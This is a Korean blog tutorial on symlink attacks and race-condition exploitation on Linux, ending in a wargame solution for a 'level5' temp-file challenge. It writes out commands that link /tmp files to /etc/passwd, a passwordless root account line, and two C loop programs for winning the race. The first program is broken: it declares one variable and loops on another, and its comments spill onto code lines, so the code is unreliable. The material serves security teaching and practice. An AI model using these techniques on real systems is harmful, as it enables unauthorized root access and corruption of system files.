심볼릭링크와 레이스 컨디션을 이용한 권한 획득
리눅스는 멀티유저운영체제입니다,
이게뭔말이냐 하냐면 다들아시다시피 도스나 윈도우95와는 달리 여러사용자가 한컴퓨터를 동시에 이용하게 할수있는 운영체제라는거죠,
그래서 권한이라는게 생기고, 권한에 맞게 시스템을 이용하는겁니다,
근데, 동시에 같은사람이 같은파일을 만들면 어떻게 될까요?
<일반사용자쉘>cat > text.txt <=== 먼저 만듬
내용
(컨트롤 + d)
<root쉘>cat > text.txt <== 일반사용자보다 10초가량 늦게만듬
내용1
(컨트롤 + d)
그럼 text.txt 파일에는 무슨내용이 들어있을까요?
내용? 내용1? 정답은 내용1입니다,
근데 늦게 만든사람도 일반사용자라면 ? , 먼저만든사람의 내용이 들어가있을겁니다,
이정도는 초보도 충분히 예상할수 잇습니다,
자그럼 심블록 링크에대해서 알아봅시다
심블록링크는 윈도우의 바로가기와 비슷한개념이다, 라고 들어보셨을 것입니다,
바로가기랑 같을건 모두 같고 한가지 추가되는내용이 있다면 바로가기에다 쓰면, 원본파일이 변한다는 사실입니다, 예를들어
<#cat">root@tmp>#cat > text.txt <==뒤늦게 완성
내용
(컨트롤 + d)
<일반사용자>ln -sf /etc/passwd /tmp/text.txt <==먼저 완성
(ln -sf명령은 심블록링크 작성명령어입니다)
이런상황이 있다 칩시다
일반사용자가 tmp폴더에 text.txt라는 파일을 만들었습니다,
근데 만든파일은 다름아닌 etc폴더의 passwd파일의 심블록링크파일 입니다,
근데 잘보십시요, 관리자가그 /etc/passwd라는 파일의 심블록링크인 /tmp/test.txt를 수정하고 있습니다,
root가 => test.txt를 수정(작성)
test.txt는 /etc/passwd의 바로가기(심블록링크)이므로
test.txt가 => /etc/passwd를 수정
이경우는 루트가 /etc/passwd의 쓰기권한을 가지고 있으므로
/etc/passwd의 파일이 손상될 것입니다
결국 루트가 test.txt파일에 쓴것이 /etc/passwd에 들어간셈이죠
/etc/passwd는 사용자들의 정보가 들어있는 중요한파일입니다,
만약 test:::0:0::test:/bin/bash 라는 내용을 test.txt에 작성하였다면
test라는 암호없이 로그인가능한 루트계정을 얻게 되는셈입니다,
자이번엔 비슷한경우를 또 들어보겠습니다,
/root/KOREA라는 프로그램이 있다 칩시다,
이프로그램은 tmp폴더에 FuckingUSA라는 파일을 만든다 칩시다,
그리고 이 KOREA라는 프로그램은 루트권한의 Setuid가 걸려다고 칩시다,
<일반사용자>/root/KOREA (엔터)
<일반사용자>cd /tmp
<일반사용자>ls
FuckingUSA
<일반사용자>
이프로그램이 정상적으로 FuckingUSA라는 파일을 만드는걸 알수있습니다,
이제 FuckingUSA라는 파일을 지우고 심블록링크를 만들어 봅시다
<일반사용자>rm FuckingUSA
<일반사용자>ln -sf /etc/passwd /tmp/FuckingUSA
자 심블록링크를 만들었습니다,이제 /root/KOREA를 실행해봅시다
<일반사용자>/root/KOREA
자 코리아라는 파일을 실행했습니다,
이제 어떤상황이 벌어질까요?,
짐작하시겠지만 코리아라는 파일이만든 임시파일 FuckingUSA내용이 /etc/passwd로 들어간걸 알수있습니다,여기서 KOREA라는 프로그램이 root권한의 setuid가 걸려있으므로 FuckingUSA는 root가 작성한 것과 같은 효력을 지닙니다, 따라서 /etc/passwd파일을 손상시킬수 있었던겁니다,
여태까지 애기한건 심블록링크를 이용한 해킹이었습니다,
레이스컨디션은 이심블록링크를 이용한 해킹을 응용한것입니다,
심블록링크해킹이 유행하쟈 프로그래머들은 임시파일을 만들때, 해커들이 임시파일과 같은이름의 파일을 이미 만들어 놓았을경우 그파일을 지우고 임시파일을 만들도록 프로그래밍을 하기 시작했습니다, 그러면 미리 심블록링크를 걸어놓았어도, 삭제되므로 안전해지는 것입니다,
그런데 이것도 문제점이 생겼습니다,
아무리 컴퓨터라지만 삭제하고 임시파일을 만들때 조그마한 간격이 있기때문입니다
임시파일을만드는 프로그램이 실행되는 과정입니다,
예> /root/test라는프로그램
실행도중 /tmp에 test라는 임시파일을 생성
<실행>
</tmp에 test라는 파일이 있는지 확인>
<있으면 삭제>
<======================= 여기에 간격이 남는다는겁니다,,
<test파일 생성>
저간격에 test라는 파일을 만들면, 삭제도 되지않은체 프로그램은 넘어갈것입니다,
따라서 저간격에 test라는 파일을 심블록링크하는거죠,
근데 문제는 저간격에 딱맞춰 test파일을 만들기란 불가능합니다,
그럼 어떤방법을 쓰냐,
바로 무한실행 입니다, (무한까지는 아니라도 여러번실행합니다)
먼저 /root/test라는 프로그램을 여러번(한 1만번정도?) 실행하는 프로그램을 작성합니다,
그다음에 /tmp/test라는 파일이름으로 심블록링크를 여러번하는 프로그램을 작성합니다,
동시에 실행합니다, 그러면 언젠간 아까 말했던 삭제후 빈 간격에 매치될떄가 반드시 있습니다,
자 위에보면 두가지 프로그램을 작성했습니다,
하나는 엄연히 말해서 원래프로그램을 여러번실행시키는거니까, 프로그래머의 프로그램이라고 부릅니다,
두번째꺼는 해커가 고의로 심블록링크를 작성하는 프로그램이니까 해커의 프로그램이라고 부릅니다,
결국 위의 상황은 임사파일을 작성하는 프로그래머의 프로그램과 해커의 심블록링크를 작성하는 프로그램과 (간격에 파일을 작성하는) 경쟁상태를 이룬다 할수 있습니다,
그래서 경쟁(race = 레이스) 상태(컨디션) 인것입니다,
자 레이스컨디션이 뭕줄 아셨죠? 그럼 문제를 풀어봅시다
/usr/bin/level5 라는 프로그램이 /tmp/level5.tmp라는 임시파일을 작성합니다
그럼 /usr/bin/level5라는 프로그램을 여러번 실행하는 프로그램과
/tmp/level5.tmp라는 파일의 심블록링크 ( 대상은 뭐든 상관없습니다 단! level5의 쓰기권한과 읽기 권한이 있는 디렉토리에 만들어야 합니다 )를 작성하면
우리는 level5.tmp의 내용을 볼수 있을것입니다,
결론부터 말하면 /tmp/level5.tmp의 내용은 레벨6 패스워드입니다,
이제 직접 프로그래밍을 하시면 됩니다,
하지만 프로그래밍이 어려운거 같으시니 주석을달아서 올려놓겟습니다,
<프로그래머의 프로그램을 여러번 실행시키는 프로그램
main ()
{
int a; //이것은 for문을 돌리기위해 선언한 변수입니다
for (i = 0; i < 10000; i ++) //초기식이 i= 0, 조건식이 i < 10000, 증감식이
{ i + 1 = i 입니다, 즉 for문이 한번 끈나면 i
값은 1이 되고 그다음은 2 가 쭉되어서 i가
1만보다 크게될때 프로그램을 멈춥니다,
system( "/usr/bin/level5"); //i가 1만이상이 될떄까지 실행되는 내용으로
} 여기서는 /usr/bin/level5 프로그램을 실행
합니다,
}
<해커의 심블록링크 작성 프로그램>
main ()
{
int a;
for( a = 0; a < 10000; a ++) //for문을 이용해 10000번 실행합니다
{
system( "ln -s /tmp/c /tmp/level5.tmp"); //system 함수를 이용해 심블록링크를
} 작성하는 명령어입니다,
}
재가 주석처리한부분은 삭제하고 소스를 붙여넣기 하세요
'Linux' 카테고리의 다른 글
Xinetd은 무엇인가? (0) | 2007.03.11 |
---|---|
shadow 파일 풀기(crypt암호와 기법) (0) | 2007.03.11 |
Linux XNEWS (0) | 2007.03.11 |